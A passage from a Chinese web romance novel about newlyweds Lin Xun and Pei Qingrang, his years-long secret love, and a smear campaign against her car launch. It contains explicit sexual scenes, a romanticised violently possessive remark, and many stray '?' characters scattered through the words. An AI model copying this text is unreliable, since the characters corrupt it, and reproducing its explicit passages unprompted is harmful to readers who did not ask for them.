她的成绩非常好,她拒绝人不留情面,她喜欢吃无花果。 她说?起?外婆的时候笑意和嗓音都柔软,她喜欢学校门口的红豆蛋烘糕。 她喜欢在批改试卷对答案的时候给自己写“你?超棒”。 她也喜欢在考试考好的时候,奖励自己一块小蛋糕。 她说?出国这件事,是“出得去不是本事,回得来才是本事”。 她不喜欢在人多的时候去食堂,她总是忘记带伞又总是没有?人来接。 她因为爸爸妈妈把?小狗送走,贴了一星期寻狗启示,眼睛又红又肿…… 他并没有?想?要喜欢她很多年,只是这个世界上那么多的人,再也没有?一个人像林姰,有?多坚硬,就有?多柔软。 林姰从来没想?过自己在裴清让眼里是什么样子?的。 在得知他的白月光是自己之前,她一度认为,被他暗恋的人应该是一个非常温柔非常美好的女孩子?,不像自己,浑身带刺、内心潮湿、心底阳光照不到的地方阴雨连天。 可?是,尖锐冷漠浑身带刺的自己,在他眼里却是截然相反的鲜活、明?亮、值得喜欢。 她抿唇,语气轻轻地问:“也许我已经?不是你?喜欢的样子?了呢?” “那我们重新认识一下,”裴清让俯身看着她的眼睛,很认真地说?:“我从头开始喜欢你?。” 他的存在,仿佛是命运要跟她证明?:这个世界上有?人爱你?,有?人无条件站在你?这一边,就仅仅因为你?是你?。 那双漆黑深邃的眼睛里,自始至终只有?她一个人的影子?。 视线相对,呼吸交错,林姰勾着裴清让的脖颈,迫使他躬身,仰头吻了上去。 从阳台到客厅,再到裴清让坐在沙发、她跨坐到他的腿上。 四?下寂静的夜里,朗月悬在天边洒下一室清辉,狗狗也睡着,空气里只剩细细密密令人耳热的接吻声。 从最初嘴唇的厮磨、吮吸,到他的舌尖抵开她的双唇,唇舌纠缠吻不断加深,氧气越来越稀薄,取而代之的是男人扑面而来的清冽气息。 裴清让修长禁欲的手从她脸侧下滑到脖颈,长发被撩起?,薄唇顺着脸颊轮廓一点一点亲到耳后、脖颈,气息灼热,可?无名指上的婚戒又是凉的,林姰的睫毛轻颤着、如同振翅的蝴蝶。 她忍不住睁开眼睛,看裴清让吻自己时的样子?,从她的角度,男人皮肤白皙、眉眼睫毛却是水墨般的漆黑,挺直鼻梁抵着自己颈侧下滑,像蛊惑人心的吸血鬼。 当他启唇,含住的不是脖颈动脉而是锁骨,那块的皮肤很薄,吮吻的触感如此清晰,前所未有?的陌生感觉在身体?里四?下散开,变成难以?言喻的痒意。 林姰咬住下嘴唇,意识到今天晚上似乎会发生一些别?的事情,裴清让的指尖已经?挑开她睡衣最上面的两颗扣子?…… 因为这样的坐姿,她能感知到男人身体?的某些变化,眼睛下意识往下看…… 裴清让却在这刻停下所有?动作?,额头抵在她颈窝,低低的喘息声让她脸红心跳。 “裴清让,你?……”林姰开口,才发现嗓音软得不成样子?,如同黏腻快要融化的蜜糖。 裴清让给她扣上那两颗扣子?,就只是指尖不经?意间触碰到她的肌肤,林姰就不受控制地战栗。 接 过吻,他的嘴唇很红,他软着声音跟她确认:“吓到你?了?” 林姰摇头,片刻后小声问了句:“裴清让,我们不洞房吗?” 她很害羞,嘴唇被厮磨到红润充血,那双剔透的瞳孔里,却很是有?点跃跃欲试的意思。 她总是可?以?,眼神无辜地说?一些让人失控的话。 裴清让没好气地捏她脸,无可?奈何道:“你?真是什么都敢说?。” 林姰在言语上向来是个巨人,无知者无畏:“我还什么都敢做呢……” 裴清让耳朵红透,那抹无处隐藏的红从脖颈蔓延至衣领深处,他偏开头低低说?了句:“家里没有?。” 原来如此,林姰脸颊滚烫,又觉得,高岭之花裴清让对抗原始生理冲动、想?做什么却不能做的禁欲模样,非常性感,非常秀色可?餐。 她看热闹不嫌事大,手指还要玩他红透的耳朵,有?一下没一下地捏着:“哪有?婚房不准备安全?措施的……” 男人喉结上下滑动着,线条肆意而凌厉,脖颈处隐约可?见暴起?的青筋:“我暗恋你?的时候,勉强算个正?人君子?,在一起?之后,可?能会是个混蛋。” 那往日清冷没有?杂质的眼睛,此时也染了薄薄一层情欲,眼神却深沉而克制、看她跟看什么宝贝似的:“如果提前准备,我怕会对你?做坏事。”第61章 第 61 章 痣的位置 在此?之前, 林姰从来没有把裴清让这朵禁欲系高岭之花,和“混蛋”、“坏事”这样的词联系在一起。 清风朗月一般清澈温柔的人,干净到冷淡的地步。 她第一次亲他被他偏头躲开, 后来接吻的时候别说乱摸、就连抱都不肯抱自己一下?,甚至每次都是自己主?动, 她很难不觉得, 裴清让对自己根本没有感觉。 后来才发?现?并非如?此?, 是这个人的道德底线太高, 对自己严苛到极致。 喜欢那么多年的女孩子, 睡在他身边、坐在他腿上?, 他都能不做任何出格的事情, 很难想象是有多禁欲克制,而这种?禁欲克制,不过是因为不想她有一点点不自在、不舒服。 林姰觉得他这副眉眼清冷耳根红透的模样, 什?么都不做就已经很招人,问他:“难受吗?” 男人额头抵在她的颈窝, 呼吸和柔软的发?茬扫在肌肤、弄得她有点痒, 闷声回了句:“还好。” 胸腔沉闷的撞击感, 一下?比一下?重, 林姰有点心虚, 先是看了一眼阳台的未成年小狗,确认小狗没有醒来的迹象。 她才低头,在裴清让通红发?烫的耳边吻了下?, 用只有两个人能听到的声音说:“你可以对我做坏事。” 裴清让轻呼出一口气?,是真的被她气?笑了,气?笑了还无?可奈何的那种?,声音都有些咬牙切齿:“林姰, 你要是不想哭,现?在就不要说话。” 林姰睫毛扑闪,瞳孔透着害羞和不知轻重的好奇:“帮你?” 轻飘飘一句话,就让裴清让逐渐平息的心跳重新?变得疯狂。 就在林姰以为他不说话是拒绝的时候,身体迎来失重,裴清让直接抱着她起身。 雾蒙蒙的浴室,氤氲着林姰刚才洗澡时没有通风留下?的湿气?,如?同某种?催化剂。 裴清让把林姰抵在墙上?接吻,却也不忘把手垫在她脑后,另一只手带着她的手往下?…… 心脏砰砰直跳,嘴唇被含住夺走所有注意力,虽然有心理准备,但掌心陌生的触感还是让林姰神经一瞬绷直,头皮都在发?麻。 她想低头,从两人紧贴的身体缝隙往下?看……却失败了。 裴清让把她圈在怀里,额头埋在她颈窝,克制压抑的喘息声烫红她的耳朵。 偏偏男人清冷的嗓音里还是有种?少年人的青涩劲儿,闷闷说了句:“不要看,会有点丑。” 林姰害羞得快要死掉,却也想笑,觉得这个人真的可爱死了。 墙壁上?水汽难以消散,低低的喘息声中热意翻天?,男人的身躯像一堵温热坚硬的墙,尽是沉沉的压迫感和侵略性。 后面她在温柔磨人的亲吻中快要站不稳,人伏在裴清让怀里,全凭他揽在腰上?的那只手臂提着…… 不知道过了多久,她才听见裴清让在耳边说:“给?我吧,别把手弄脏。” 等回到卧室,林姰已经困得不行,但脸颊的酡红一时半会无?法消散。 她在裴清让怀里找了个舒服的位置沉沉睡去,脑袋里想的全是——她早晚要把裴清让睡了- 只不过在林姰睡到裴清让之前,东恒的项目到了最?白热化的阶段。 新?闻发?布会的召开时间定在五月下?旬,现?在在紧锣密鼓进行车辆的最?终测试。 也多亏这次测试,测试人员发?现?车上?的电瓶出了问题。 所有花里胡哨的用户体验里,安全才是排在第一位的,就因为这个安全漏洞,团队所有人又加班加点熬了一个周。 除此?之外,项目进展顺利,甚至顺利得让林姰心慌。 陈万豪跳槽到对手公司、方茂森被辛城边缘化、刘文文自己提了离职,但她很清楚,只要她还在这家公司,就还会有无?数个“万豪”和“茂森”,嫡系文化、职场霸凌、办公室内斗永远不会停歇。 人一生的时间有限,不应该浪费在讨厌的人和事上?面,她决定把时间的支配权重新?握在自己手里,辞职报告已经写好,项目结束就会提交上?去。 这些年省吃俭用攒下?的钱、加上?项目奖金,可以远远超过外婆老房子的市场价,就是不知道买房子的人肯不肯把房子卖给?她。 辞职后,她准备先gap一年,自媒体发?达的年代,她想试试做一个反职场霸凌的博主?,讲讲自己在大厂当牛马的那些事儿。 而好友先她一步提交辞职报告——从小循规蹈矩、没有原生家庭托举、曾经靠着贫困生补助和助学贷款上?大学的祝余,在这年五月辞掉了国企的稳定工作。 去年她连载的先婚后爱小说被影视方看中,卖出影视版权之后,剧方邀请她去组里当编剧,虽然这份工作远比国企累且不稳定,改编不好还要被人挂在网上?群嘲,但祝余毫不犹豫应下?。 她说:“人总要为了自己活一下?。” 林姰开心得仿佛自己中了彩票:“进组还习惯吗?” 祝余的声音很累但也难掩兴奋,全然不是在国企上班时“活人微死”的状态:“还挺有意思的。” 林姰无?声笑起来,听见祝余说:“其实最?出彩的灵感源于你和裴清让,开头那句‘过得好吗’,还有结尾女主?发?现?的十年前的明信片,都是你告诉我的,版权费我应该分你一半!” 林姰眉眼弯弯:“分我一半就免了,明天?我去探班,给?你带好吃的。” 原以为娱乐圈离自己十万八千里,没想到好友已经一只脚迈进去了,果然啊,人生是有无?数种?可能的。 因为自己“内部有人”,林姰得以打入剧组内部,她和裴清让到时,正在拍男女主阔别重逢的第一场戏。 男主?看着女主?,眼底情绪涌动,最?后也只是轻声说:“过得好吗?” 而见第一面时女主对他的暗恋一无所知,态度冷淡:“好久不见。” 女主?扮演者是老熟人,正是当初在附中混得风生水起、去年还跟裴清让传过绯闻的翁惠。 导演喊“卡”,翁惠退场换下?一场戏的衣服,当眼睛触及场边那道清俊挺拔的修长身形,视线仿佛被牢牢黏住无?法移开。 他的目光,是在场所有人里唯一一个不在她身上?的,那双总是锋利淡漠的眼睛,此?时此?刻微微弯着,看向编剧祝余身边的林姰,温柔得能化成水。 “裴清让,林姰。” 林姰转身,对上?翁惠的视线,不算熟悉也没交集的高中同学,点个头就算打过招呼。 显然,翁惠的注意力也不在她的身上?,她对裴清让说:“好久不见。” 裴清让微颔首,唇角冷淡平直没有半分情绪,本就惜字如?金的人,也没有什?么多余的话可讲。 学生时代的天?之骄子,没有长歪没 有变油腻,比学生时代更意气?风发?更冷淡肃杀,岁月格外偏爱他,那眉宇间似乎还有少年时干净清澈的俊秀。 翁惠不知道自己心里,是白月光没有幻灭的欣慰多一些,还是白月光跟别的女孩在一起的心酸多一些,她只是,非常、非常羡慕被他喜欢那么多年的人。 她笑了下?,笑容有点发?苦:“之前营销号的通稿是公司买的,资本家总是为了热度不择手段。” 她知道裴清让不会把这件事放在眼里,但她还是想说出来。 她真心喜欢过的、干干净净的少年,她怎么舍得拿他炒作。 之所以接下?这部剧,也不过是因为,她明恋暗恋无?果,想要体验一次被人暗恋。 裴清让淡声:“我知道。” 轻而凝定的字音,全无?责怪,但也和温柔相去甚远,不过是因为,她和营销号,都属于他不在乎的范畴。 翁惠嘴角弯起,落落大方:“祝你们百年好合。” 目光扫到公司的工作人员,她生怕故伎重演,就要转身离开,倒是导演叫住她:“结局的时候你看男主?,就用你刚才那个眼神。” 那是她看喜欢了很多年的男生的眼神,不知道演戏的时候还能不能还原出来。 翁惠在短短半分钟里一键切换到工作状态,扬眉笑道:“明白。”- 人是上?午去探的班,营销号是晚上?发?的通稿,若干账号一起发?力,标题是:《小说照进现?实!这是什?么女明星和霸总的绝美爱情!》 通稿配图,正是今天?上?去在剧组、翁惠过来和裴清让打招呼的画面,只不过把旁边的林姰和祝余都截掉了。 照片里,男人衬衫西裤单手抄兜,骨架宽薄、个子又高,穿衬衫简直就是绝杀,身上?每道线条都禁欲利落至极,而他面前的女人则是身段窈窕玲珑有致,两人站在一起,身高和身形差都很有冲击力。 翁惠热度本就不低,更别提裴清让那脸那身高那气?质、放在丑男层出不穷的内娱直接是降维打击,以至于热度越来越高根本降不下?来—— 【热评1:这俩去年不就被拍到了吗?那个时候裴清让澄清自己有女友且暗恋多年。】 【热评2:那个女友有没有可能就是翁惠本人?这俩不是高中校友吗?不然一个芯片公司老大为什?么会出现?在剧组片场?苍梧从来不投资影视剧的好吗?】 【热评3:当时裴清让出现?在剑桥门口的甜品店就很难解释,翁惠出现?在那里是因为她的闺蜜在剑桥任教,裴清让呢?据我所知这人硕博都在波士顿。】 【热评4:老粉出来说一下?,这俩绝对很多年就在一起了!图片.jpg】 林姰倒是想要看一看,裴清让怎么就在很多年前、和翁惠在一起了。 层主?在评论?区放出两张照片。 第一张是多年前翁惠的微博截图,配文是:【跟闺蜜一起去参加剑桥的五月舞会!】 另一张照片则是漫天?烟花之下?、男人西装笔挺的清俊剪影,侧脸只有一个白皙轮廓,也能看出是个高鼻梁高眉骨的中国帅哥。 层主?回复:【当年翁惠出发?去参加五月舞会,老粉忍不住去追了个现?场,结果发?现?这哥们帅得有点太突出,忍不住拍照和闺蜜分享,几年后苍梧上?市才知道他是创始人,再?后来,就是他俩被拍到……】 林姰定定看着照片里英俊挺拔的男人,脑海某些细碎画面如?同拼图、一块一块拼凑完整—— 毕业那年的五月舞会,那张很难买却自己送上?门的门票,那件在她瑟瑟发?抖时递过来的西装,那张裴清让照片里出现?的、自己的背影…… 心头似有小鱼不断跃出水面,搅得心跳越来越快、越来越乱,有什?么呼之欲出。 她回到房间拉开衣柜,那件无?论?剪裁质地还是价格都无?可挑剔的黑色西装,因为无?人认领,这些年来静默无?言地挂在那里。 和裴清让被拍到时、身上?穿的那件,一模一样。 裴清让在书房,接到李明启的电话—— “法务部已经在准备,表示敢造我们老大的谣不要命了是吧,同时市场部让我来问一下?,真的不考虑自己代言苍梧的产品吗?你这热度宣传费可是就省下?了!” 裴清让嘴角勾着,温和地吐了一个“滚”字。 李明启这会儿才正经起来:“那些营销号都出自一个公司,公司法人叫何坤,无?业游民一个。” “这人手底下?养了不少账号,有发?娱乐新?闻的,有发?美食吃播的,还有一个号是搞汽车测评的,据说最?近接了一个车企的黑料,过几天?就要往外放,还酒后扬言自己能搞垮乐游和东恒。” “林姰那个项目,是不是五月下?旬就要开发?布会?” 裴清让淡淡道:“知道了。” 电话挂断的那一秒,书房的门被人推开。 林姰把营销号下?面的照片放大,递给?裴清让,嗓音不稳:“照片里,你身上?那件西装外套呢?” 裴清让垂眸看了眼,眉宇清澈,嗓音没有起伏:“递给?喜欢的女孩子取暖了。” 太过平静的态度,恐怕是这些年里他早已习惯,习惯当她身后、不被看见的人。 她不问,他也不说,生怕给?她增加一点点负担、一点点压力。 林姰抿唇:“你怎么都不告诉我?” 而是让她捡拼图一样,这里捡一片那里捡一片,每一片都是他喜欢自己的证据。 “因为是我自己的事情,跟你没有关?系。” 裴清让指尖抚开她蹙起的眉心,语气?漫不经心、甚至有种?哄她宽心的温和:“不要觉得我喜欢你很多年,是多了不起的事情,是因为你特别好,你值得被喜欢。仅此?而已。” 这个人怎么可以温柔成这样?他喜欢她那么多年没有结果,没有说你要多喜欢我一点,更没有想要从她这里得到什?么,就只是告诉她:这不是什?么了不起的事情。 林姰的心脏变成一颗饱满的柠檬,酸涩不堪。 裴清让牵起她的手,引着她在自己的腿上?坐下?。 她能感受到西装裤之下?两条长腿,因常年锻炼坚硬紧实、非常有力,体温缓慢渗透。 好像也能琢磨到一点裴清让的喜好,比如?,他可能喜欢这个姿势,喜欢两人喜欢面对面。 “还有多少事是我不知道的?” 她搂住他的脖颈,男人身上?的白色衬衫挺括没有一丝褶皱,领口弯折出锋利的弧度,完全是禁欲不容侵犯的模样。 “你写在班级宣传栏、想考清华的纸条,是被我撕掉的。” 裴清让勾着她的脖颈下?压、仰头亲过来的那一刻,林姰睫毛颤抖着闭上?眼睛,感受到很短的发?茬刺在自己手背,密密麻麻的痒意。 吻到眼睛的时候,他在说:“我每天?很晚才去食堂,因为这样可以遇见你。” 吻顺着鼻梁慢慢往下?的时候,他在说:“你午休睡着的时候,我有偷偷看你。” 吻到脸颊的时候,他在说:“你每个周五去书店看漫画,所以我会去看军事杂志。” 吻到耳后肌肤的时候,她的手指攥紧他的衬衫,又在一瞬丧失所有力气?。 裴清让薄唇翕动,如?同若有似无?亲着她的耳廓,嗓音耳语般温柔勾人,说的却是:“我记得每个追你的男生的名字,我想把他们看你的眼睛挖出来。” 他清浅的呼吸落入肌肤,就变成电流,窸窸窣窣从耳后蔓延至全身。 林姰心悸着睁开眼,这样的姿势,她比他还要高出来一点,视线很难不被滚动的喉结吸引。 视线游走,她发?现?裴清让不止喉结处有一颗不明显的小痣,脖颈一侧也有一颗、因为皮肤冷白格外清晰,仿佛在无?声指引,让人顺着小痣的标记慢慢吻下?去。 她很难不好奇,衣服下?面是不是也有、又在哪里…… “裴清让,我喜欢这颗痣,”林姰指尖触碰他有一下?没一下?滚动着的喉结,目光里有某种?沉迷的意味,“你身上?别的位置,也有痣吗?” 最?敏感的位置被人没轻没重地抚摸、触碰,裴清让耳根瞬间红透,挽起的衬衫袖口下?清白手臂 上?青筋暴起。 他低低说了两个字:“后腰。” 林姰沉迷于喉结滑动的触感,没反应过来:“嗯?” 裴清让冷声:“后腰有。” 林姰想象不出后腰的那颗痣长在哪里、又是什?么样子。 裴清让眼眸微掀,因眉骨高眼窝深、眉眼间距又近,不笑的时候眼神危险而冷淡:“你要看吗?” 四目相对的瞬间,两人眼神里的想法都无?需再?去掩饰,因为心照不宣,所以格外让人脸红心跳。 空气?升温如?同提前进入夏季,林姰“嗯”了声,脸颊仿佛被灼热烈日烤着,又软又烫,心跳砰砰。 裴清让牵起她的手,放到自己规整一丝不苟的衬衫领口。 第一颗纽扣就在她的指尖下?,只要稍一用力,就能挑开。 裴清让那双漂亮暗沉的眼睛牢牢锁着她,字音轻而蛊惑、烫在她耳边:“你帮我脱,我给?你看。”第62章 第 62 章 正人君子 春末夏初, 空气已?经?也带上了夏日的?躁意。 最后衣衫凌乱的?,不只是裴清让,还有她。 男人极简性冷风的?卧室氤氲着沐浴露香气, 因为她害羞所以裴清让只开了一盏暖融融的?夜灯,光线昏黄, 却足以勾勒出男人乌黑平直的?剑眉、和?明?显克制的?双眼。 他并没有急着做什么, 只是有一下没一下吻她的?耳廓, 在她耳边轻声说话的?时候、嗓音温柔到蛊惑:“我没经?验, 不舒服的?话告诉我。” 林姰黑发散在枕头上、肩上, 平时连裙子都很少穿的?人, 洗过澡之后换了一条藕粉色睡裙, 细细的?肩带挂在薄薄的?背上,愈发衬得肤白如?瓷,红到滴血的?耳朵被他唇齿折磨, 嘴里再难以发出一个完整音节。 她一直觉得,裴清让的?手正中她审美, 手指细细长长、还白, 骨节分明?却不突出, 戴婚戒的?时候超级性感, 可当扣着她的?掌心陷入棉被时, 就显出绝对的?力?量悬殊和?强势占有欲。 吻从她脖颈、锁骨一路往下,到上次停住的?位置继续,肩带滑落到手臂, 身后的?束缚也在他指尖松开,胸腔不受控地起伏,紧密贴合在他的?掌心跳动。 那双修长禁欲、白皙漂亮的?手,在做完全不禁欲的?事情?, 林姰齿尖咬住下嘴唇,骨头缝隙有如?被什么啃噬着,密密麻麻、四下流窜的?痒。 而他高挺的?鼻梁抵着起伏的?轮廓下滑,微微启唇,温热湿润的?触感让神经?在一瞬间绷直,全然陌生的?刺激,林姰眼角渗出生理性的?泪水。 当她看清眼前所有,心脏被冲击到砰砰跳动,头皮甚至都在发麻。 目光所及,男人睫毛低垂鸦羽一般,鼻梁挺直,薄而柔软的?嘴唇很红,吮吻的?位置是从未被人戳碰过的?领地。 最致命的?是,那双锋利冷淡的?眼睛自始至终锁着她,显出前所未有的?攻击性和?占有欲。 可是在瞥见她眼角的?湿润时,那英俊眉眼瞬间有了认真无措的?神色,裴清让轻声问:“咬疼你?了?” 林姰摇头,却又难以启齿,没有办法告诉他眼泪不是因为疼。 裴清让低声跟她确认:“那就是喜欢?” 但凡她摇头,他肯定?会停,即使男人脖颈处已?经?因为过分克制起了青筋,身上肌理分明?的?肌肉也显出某种蓄势待发的?力?量感。 林姰害羞得快要死掉,说不出话,就只是勾着他的?脖颈吻上去。 只是,比温热细密的?亲吻更让人难耐的?,是裴清让温温柔柔在耳边哄着,那道清冷声线本就好?听,带着喘息落在耳边的?时候,烫得耳朵都要融化:这样有没有不舒服?疼不疼?是这里吗? 林姰指尖陷入他的?肩背,咬住嘴唇,仍然不能?阻止某些声音溢出,整个人如?同雪山山巅融化的?那一捧雪,柔软、滚烫、无可救药而又悄无声息地融化。 裴清让的?肩膀宽阔平直,遮住视野里的?所有,余光却瞥见墙上交叠起伏的?人影,可是即使只是影子,脑海也能?自动还原所有细节。 很难想象,那个高高在上目下无尘的?裴清让,在跟她做这样的?事情?。 而极致的?暴烈和?极致的?温柔,怎么会同时出现在同一个人身上…… …… 不知道过了多久,裴清让的?汗从脖颈滴到她的?胸口,林姰长发粘在脸侧,失去所有力?气,指尖都软绵绵的?。 裴清让把她搂在怀里,抚摸她的?脸颊和?肩头,吻她湿润的?睫毛和?嘴角,她像小鱼渴水一样,和?他嘴唇触碰、轻轻接吻。 “抱你?去洗澡。” 裴清让捞起长裤套上,男人身形修长挺拔,宽肩窄腰是标准的?倒三角,肌肉清薄练得恰到好?处,胸肌、腹肌肌理分明?,因为皮肤很白,看起来干干净净。 而腰侧人鱼线的?沟壑延伸至裤腰深处,刚才她太害羞,都没敢看。 裴清让走近、在她面前俯身,她的?手臂自然而然攀上他的?肩,轻松被他抱起,最亲密的?事情?做过之后,眼角眉梢是难以言说的?眷恋和?依赖。 当洗过澡、换上新的?睡衣,整个人被阳光晒过的?味道暖融融笼罩着,林姰已?经?懒得完全不想动。 裴清让把她抱到洗手台上坐着、给她吹头发,不忘在她身下垫一条厚厚的?浴巾,让她坐得舒服一点。 刚好?合适的?高度,林姰没长骨头一样靠进他的?怀里,鼻端都是他身上有清冽让人着迷的?气息,生理和?心理都满足,因为是和?喜欢的?人,所以胸腔被满溢的?甜填满。 在他们周围,浴室的洗漱用品被她通通换成情侣的?,此时此刻,他们身上是一样的?青草沐浴露味道,嘴巴里用过一样的薄荷牙膏,单单这一件事,也让林姰觉得很满足。 她仰起脸,脸颊微微红,睫毛因为害羞扑闪着,瞳孔却亮晶晶的:“裴清让。” 裴清让仔细检查过她的长发、确认没有水迹,才收起吹风机,顺便低头在她唇上碰了下:“怎么了。” 林姰好?了伤疤忘了疼,这会儿又来本事了,眼睛闪着求知若渴的?光:“下次试试在浴室嘛。” 听清她说了什么,裴清让好?看的?眉眼倏然一弯,笑了,唇红齿白的?模样,有种介于少年和?男人之间的?清爽,特别动人。 那道落在她身上的?眼神,就好像听到童言无忌的小朋友说了什么好?玩的?事情?,嘴角勾着忍俊不禁的弧度,漂亮极了。 林姰不满:“你?笑什么?” 那浓密低垂的?睫毛都染了一层明?晃晃的?笑意,看起来格外柔软,裴清让手臂撑在她身侧,就好?像把她整个圈在怀里。 视线刚好?平齐,他说:“笑你?人菜瘾大。” 林姰不可置信:“我菜吗?” 裴清让抿起嘴角,配合道:“你?不菜我菜,我被你?弄几下就哭了。” 林姰瞬间恼羞成怒捏他的?腰、只是腰腹紧实都是肌肉,很坚硬,讨不到一点便宜。 这个混蛋竟然嘲笑自己,她反唇相讥:“你?不菜的?话,怎么会安全措施每个尺寸都买一盒。” 她说完,就有点想笑,掩饰性地蹭了下鼻梁,还是没能?把弯弯的?嘴角压下去。 他跟她确认“可不可以”的?时候,她都“嗯”了,结果好?半天没有动作,而后听见一句少年人般懊恼的?:“买小了。” 就在她以为,今天又睡不到了的?时候,这位哥换了一盒,拆开,戴上…… 林姰没忍住,眼睛弯成月牙。 裴清让捏她的?脸,让她直视自己,似乎想要证明?自己也不是那么无药可救,咬牙切齿地说:“最小号没买。” 林姰齿尖咬着下嘴唇,瞳孔特别的?亮:“可爱死了。” 裴清让用小学生斗嘴的?语气回敬:“没你?可爱,‘人菜瘾大’小姐。” 他弯腰抱她回卧室,林姰还在复盘:“禁欲二十八年太恐怖了,我觉得你?后面有点失控……” 裴清让淡声:“失控不是因为禁欲二十八年,是因为喜欢你?。” 林姰觉得他言之有理,还是不 死心道:“下次真不试试在浴室嘛?我觉得我承受能?力?还不错。” 不是都说第一次很疼吗?她都没疼。 当然也可能?,是某人太温柔太顾着她的?感受了…… 裴清让不咸不淡、暗含警告地回了句:“下次就不会这么轻易放过你?了。” 床上用品也被换过,清爽干燥。 林姰窝在裴清让的?怀里,找了个舒服的?位置闭上眼睛。 “裴清让。” “嗯。” 裴清让垂眸。 直到现在,仍然觉得睁开眼睛能?看到她,是在做梦。 他收紧手臂,抱着他的?梦不放。 林姰很困,声音很轻:“其实高考结束那天,我去书店了,但是你?已?经?走了……” 好?半天,头顶没有回音,就在她以为裴清让已?经?睡着的?时候,听见他说:“其实你?出国那天,我在。” 林姰从他怀里仰起脸,看那个在自己不知道的?时间地点受尽委屈的?人。 裴清让心无旁骛地看着她,目光安静柔软:“我叫你?名字,你?没有回头。” 出国的?时候和?家里闹僵,所以没有一个人来送她。 她的?确在转身那一刻听到有人喊她的?名字,却以为是自己的?错觉。 就好?像卖火柴的?小女孩,在自己最绝望的?时候看到了自己奢求的?一切。 原来她学着去爱的?第一个人,在他十七岁的?时候,就已?经?在爱她。 林姰懊恼:“我以为是自己听错。” 裴清让抚平她蹙起的?眉心,温声:“以后我都在。” 春日夜晚,外面的?樱花正在簌簌落下,又一个六月马上就要到来。 林姰迷迷糊糊睡着的?时候,嘴里还在说:“如?果高考结束那天,我早一点出门就好?了,我会跟你?说,谢谢你?捡到我的?小狗。” 裴清让轻轻吻了她的?额头,那道放轻的?嗓音如?同来自于柔软的?梦境:“我会告诉你?我喜欢你?,要不要跟我试试,也许裴清让很不错。” 当眼前陷入黑暗,林姰再次站在出国的?机场。 目光所及亲人送别,她频频回头,频频张望。 一次次期待、一次次落空,确认身后真的?空无一人。 她深吸口气压下所有酸涩,拎起行李箱就要离开的?时候,身后有人喊她的?名字。 她怔愣着回过头,看到了十七岁的?裴清让。 少年个子很高皮肤很白,眉眼如?同水墨勾勒深刻清绝,令人过目难忘。 她的?嘴角缓缓弯出一个笑,对他说:“裴清让,我们十年后见。”- 三番两次被翁惠经?纪公?司蹭热度,苍梧法务部怒了,手段强硬不留后路,他们捍卫的?不是公?司名誉,而是老大来之不易的?名分。 市场部也怒了,自家老大的?热度,自家产品都沾不到一点光,凭什么让外人沾?当即决定?未来三五十年,都不用这家经?纪公?司的?艺人代?言自家产品, 营销号发出的?视频在一夜之间被删了个彻底,林姰不是圈内人,不想体验什么“全网炸了”的?爱情?,也不享受万众瞩目的?虚荣,她只想和?裴清让安安静静相爱。 与此同时,裴清让卸任苍梧董事长一职,由另一位创始人谢珩接任,没有对公?众公?布去向。 林姰这边,距离新闻发布会召开在即,她的?注意力?都在发布会怎么开才能?让人印象深刻上面。 裴清让提醒她,何坤的?营销号接了东恒汽车的?黑料——据说是手上有汽车上市前、碰撞安全测试的?视频。 汽车上市之前,都要进行全方位的?测试,碰撞安全测试也是其中一环。 他问:“测试版本有什么漏洞吗?” 林姰点头:“第一次测试时检测到电瓶有问题,但是通通改了,数据直接连接国家监控平台,如?果营销号是打?算抓住这点作文章,我还挺希望他帮忙吸引一下消费者注意力?的?,毕竟,黑红也是红。” 说着,她猛地得到启发,如?今汽车行业竞争激烈,新车发布会千篇一律,要么直接上干货、堆砌配置,要么诋毁竞品、突出自己的?优点,反正开来开去就是一辆车,不管怎么着都很无聊。 不如?…… “我决定?了!新车发布会直接在碰撞试验室开!开发布会的?时候,现场搞两辆车撞给大家看,安全性能?一目了然,就算有黑通稿,也能?直接不攻自破!” 裴清让揉了揉林姰的?脑袋,眼底都是赞赏、熠熠生光:“聪明?死了你?。” 林姰眉眼兴奋,当即抱起电脑去书房开始噼里啪啦打?字工作,把她新婚的?丈夫冷落了个彻底。 日子来到发布会前一天,林姰确认现场所有设备都没有问题,下班回家。算起来,她在乐游的?工作时间也进入倒计时。 果不其然,当晚各大营销号开始齐齐发力?,转发的?还真是当时测试版本进行碰撞试验的?视频,而后一盘脏水泼过来,说东恒即将上市的?汽车电瓶有问题、存在巨大安全隐患。 水军齐齐下场诋毁,其中也掺杂着几个真实消费者,他们的?态度很是一致—— 【原本想买东恒的?,还是算了吧。】 【电车找充电桩就挺麻烦了,这下还要担心电瓶出问题。】 【汽车不安全,再多花里胡哨的?功能?有什么用?换电瓶多贵大家又不是不知道!】 骂的?人越多,热度就越高,林姰就越兴奋。 这热搜,不管是竞争对手买的?还是谁买的?,她都由衷感谢。 时间怎么过得这么慢,她恨不能?穿越到明?天的?新车发布会现场。 林姰坐在地毯上刷视频,裴清让在她身后坐下,下巴抵在她肩窝,手顺势从她腰间穿过:“准备怎么办?” 林姰神采奕奕眼睛发光:“现在营销号把舆论?推到了最高,关?注度前所未有,我打?算放任不管让它继续发酵。” “还要再看一会儿吗?” 先落下来的?,是男人的?呼吸,而后是柔软的?薄唇,从她耳后辗转到肩颈,弄得她轻轻战栗。 她听见裴清让在耳边问:“手机好?玩,还是老公?好?玩?” 当然是老公?好?玩。 裴清让把她圈在怀里、掰着她的?脸跟她接吻,手轻抚摸她的?颈侧,整个人都被他身上的?气息笼罩着,甚至体会到一点“小别胜新婚”的?意思,最近忙新闻发布会的?事情?,把为她守身如?玉二十八年、刚食髓知味的?老公?冷落了个彻底。 狗狗在他们身边,睁着一双无辜且湿漉漉的?眼睛。 林姰轻轻推他肩膀,埋头在他颈窝:“小朋友在看呢。” 裴清让起身把她抱起,看向狗狗时,嗓音清澈含笑:“乖,自己去玩儿,爸爸妈妈要做大人做的?事了。” 狗狗眉眼无辜,看着爸爸抱着妈妈进了浴室,直到它睡着都没有出来。 浴室的?水声停下,时轻时重的?喘息和?啄吻声变得清晰,薄薄的?水汽里,男人后背宽阔平直。 林姰被裴清让抱起,后背是冷硬的?墙壁,身前是男人温热坚硬的?身躯。 她的?腿在他腰侧够不到地,心脏也仿佛被提起,整个人的?重量,都压在裴清让清瘦有力?的?手臂,因身体悬空没有安全感、只能?紧紧搂住他的?脖颈,靠近带来所有难耐折磨的?他。 心跳失序,她的?声音没有半分力?气:“你?高中的?时候明?明?很正人君子……” 她总会在他西装革履的?时刻,想起他喉结难耐滚动、喘息落在自己耳边,也会在他一边克制一边失控时,想起他高岭之花、禁欲至极的?过往。 